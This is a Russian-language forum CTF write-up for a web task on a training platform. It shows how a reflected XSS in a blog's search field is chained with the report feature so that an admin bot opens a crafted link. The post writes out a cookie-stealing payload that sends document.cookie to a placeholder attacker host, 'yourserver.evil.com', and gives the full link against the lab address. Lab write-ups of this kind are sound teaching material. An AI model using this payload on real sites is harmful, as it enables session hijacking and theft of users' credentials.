• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

CTF Клиент всегда прав

Здравствуйте, друзья! Я рад представить вам авторский врайтап, который поможет раскрыть тайны таска "Клиент всегда прав / Веб" с платформы Игры Кодебай. Мы рассмотрим уязвимость XSS и научимся использовать её, чтобы получить Cookies администратора. Давайте начнем!

customer.png

Заходим на страницу таска и смотрим:

1682506369855.png


Похоже на какой-то начинающийся блог. Попробуем нажать на одну из публикаций:

1682506395898.png


Нас перенаправило на /?publication=jupiter и отобразилась соответствующая публикация. На главной странице вроде было поле для поиска. Вернемся назад и поэкспериментируем с ним.

1682506424367.png


Попробуем найти публикацию по ключевому слову.

1682506441451.png


Окей, поиск у нас работает. Проверим, уязвимо ли поле для поиска к XSS-атаке. Почему к XSS? Поле для поиска и название "Клиент всегда прав" внушают нам, что это исключительно XSS. Но, на практике конечно же нельзя доверять таким факторам и надо проверять ресурс на все типы атак.
Передадим самый элементарный пейлоад <script>alert('XSS')</script> в поле для поиска.


1682506556766.png


Отлично. У нас есть reflected XSS (она же "пассивная XSS" или "отраженная XSS"). Т.е. наш JS-пейлоад не будет нигде сохраняться, но, за то мы сможем передать ссылку с ресурсом, где страница берет данные из адресной строки (в нашем случае, это пейлоад) и отображается на странице.

1682506624150.png


Таким способом, при наличии XSS-уязвимости, при переходе по ссылке в браузере жертвы выполнится JS-код. Что он будет делать, зависит от вашей фантазии. Идем дальше.
На главной странице напротив каждой публикации у нас так же есть кнопка для репорта. Посмотрим, как она работает.


1682506657650.png

1682506718452.png


В адресной строке мы видим, что в качестве репорта отправляется полная ссылка на публикацию. А что, если мы изменим ссылку репорта на свой, где у нас будет ссылка на страницу для поиска с готовым пейлоадом? Наша цель - украсть кукисы админа. Подготовим такой пейлоад, после которого пользователь не заподозрит ничего. То есть, наш пейлоад не будет никуда перенаправлять пользователя, а просто с помощью JS создаст на странице элемент картинки, которая и поможет нам получить кукисы.
Наш пейлоад - <script>document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')</script>. В итоге у нас будет ссылка http://62.173.140.174:16013/?search=<script>document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')</script>, которую мы должны отправить в качестве ссылки для репорта. Но, просто взять пейлоад и отправить не получится. Оставлю вам работу с кодированием пейлоада таким образом, чтобы она у нас сработала.

Отправляем репорт с нашей ссылкой на страницу поиска, где у нас вбит пейлоад, который сворует кукисы.


1682506781570.png


Репорт отправлен. Теперь посмотрим в наш сниффер.

1682506857876.png


Бинго! У нас есть флаг.

Всем спасибо за внимание.
 
Последнее редактирование:

D3L1F3R

Red Team
20.02.2022
305
81
BIT
332
Можно ещё использовать webhook, но по сути один и тот же функционал =)
И даже "+" не нужно было инкодить? Интересный вариант решения!
 

N1GGA

Codeby Team
Platinum
16.07.2018
326
332
BIT
193
Можно ещё использовать webhook, но по сути один и тот же функционал =)
И даже "+" не нужно было инкодить? Интересный вариант решения!
Вариантов много. Я привёл в качестве примера самый базовый.
 
  • Нравится
Реакции: D3L1F3R
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!